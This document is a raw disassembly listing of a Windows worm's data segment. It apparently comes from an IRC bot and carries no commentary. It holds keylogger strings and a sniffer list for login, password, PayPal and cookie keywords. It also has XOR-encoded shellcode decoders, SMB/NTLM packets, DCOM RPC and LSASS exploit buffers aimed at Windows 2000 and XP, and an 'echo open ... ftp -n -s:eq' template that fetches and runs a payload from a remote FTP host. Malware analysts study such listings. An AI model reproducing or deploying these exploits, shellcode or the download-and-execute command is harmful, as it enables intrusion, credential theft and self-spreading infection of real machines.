		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: seg000:004024B1o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: seg000:004021C8o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:00402168o
					; seg000:0040F810o
		align 10h
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: seg000:00402423o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004023E0o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:0040228Ao
		align 10h
off_423C80	dd offset dword_4244F8	; DATA XREF: seg000:0040277Ar
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423C90	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: seg000:004026BAo
dword_423CA4	dd 0			; DATA XREF: seg000:00402773r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: seg002:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: seg002:00423C88o
off_4244F4	dd offset a_+1		; DATA XREF: seg002:00423C84o
dword_4244F8	dd 544F42h		; DATA XREF: seg002:off_423C80o
unk_4244FC	db    2			; DATA XREF: seg000:004027D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_424544	db    2			; DATA XREF: seg000:00402787o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: seg000:00402711o
		align 4
unk_424598	db    2			; DATA XREF: seg000:00402662o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4245E4	db    2			; DATA XREF: seg000:004025DFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: seg000:00402561o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: seg002:00424678j
		call	near ptr sub_42467A


loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------


loc_4247CA:				; CODE XREF: seg002:loc_4247B8j
		call	sub_4247BA


loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424748+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+3C3o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_424D5C	dd offset loc_401495	; DATA XREF: sub_402988+3F1o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_424DF0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+314o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_424E5C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+33Fo
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0	dd 0			; DATA XREF: sub_402988+36Do
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 2	dup(0)
word_424F58	dw 0AD9Dh		; DATA XREF: seg000:0040286Dr
					; sub_402988+E3r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_424F98	dd 1004600h		; DATA XREF: sub_402988+13Dr
					; sub_402988+240r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_425050	dd 0A0D7325h, 0		; DATA XREF: seg000:00402927o
					; sub_4036EB+102o ...
aEchoOpenSDEqEc	db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
					; DATA XREF: seg000:004028E1o
		db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------


loc_4250BC:				; DATA XREF: sub_402988+171o
					; sub_40384C+177o
		jmp	short loc_4250C4
; ---------------------------------------------------------------------------
		jmp	short loc_4250C6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4250C4:				; CODE XREF: seg002:loc_4250BCj
					; DATA XREF: sub_402988+27o ...
		pop	esp
		pop	esp


loc_4250C6:				; CODE XREF: seg002:004250BEj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_4250D0	dd 1CEC8166h		; DATA XREF: sub_402988+Dr
					; sub_40384C+Dr
dword_4250D4	dd 0E4FF07h		; DATA XREF: sub_402988+16r
					; sub_40384C+16r
dword_4250D8	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: seg000:004034ACo
					; seg000:004035E6o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403178+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_425488	dd 20h,	0		; DATA XREF: sub_403178+136o
		dd 20h,	5C005Ch, 0
off_42549C	dd offset aStereo	; DATA XREF: sub_403178+15Do
					; "stereo"
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_4254DC	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_403178+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_403178+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_4255EC	dd 18759Fh		; DATA XREF: sub_403178+104o
dword_4255F0	dd 100139Dh		; DATA XREF: sub_403178+FBo
asc_4255F4:				; DATA XREF: sub_402FDD+1Co
					; sub_4030C0+16o
		unicode	0, <\\>,0
		align 4
off_4255FC	dd offset dword_49005C	; DATA XREF: sub_402FDD+Co
					; sub_4030C0+Bo
		dd offset aStoneage+8
		dd 24h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: seg000:0040340Co
		align 10h
		jmp	short loc_425632

; =============== S U B	R O U T	I N E =======================================



sub_425622	proc far		; CODE XREF: sub_425622:loc_425632p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42562A:				; CODE XREF: sub_425622+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42562A
		jmp	short loc_425637
; ---------------------------------------------------------------------------


loc_425632:				; CODE XREF: seg002:00425620j
		call	near ptr sub_425622


loc_425637:				; CODE XREF: sub_425622+Ej
		jo	short loc_42569B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_4256B9
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42569B:				; CODE XREF: sub_425622:loc_425637j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_4256B9:				; CODE XREF: sub_425622+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_425622	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_425760:				; DATA XREF: sub_40384C+156o
					; sub_40384C+212o
		jmp	short loc_425772

; =============== S U B	R O U T	I N E =======================================



sub_425762	proc near		; CODE XREF: sub_425762:loc_425772p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42576A:				; CODE XREF: sub_425762+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42576A
		jmp	short loc_425777
; ---------------------------------------------------------------------------


loc_425772:				; CODE XREF: seg002:loc_425760j
		call	sub_425762


loc_425777:				; CODE XREF: sub_425762+Ej
		jo	short near ptr dword_4256F0+1Eh
		cwde
		cdq
		cdq
		retn
sub_425762	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_425810	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40384C+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
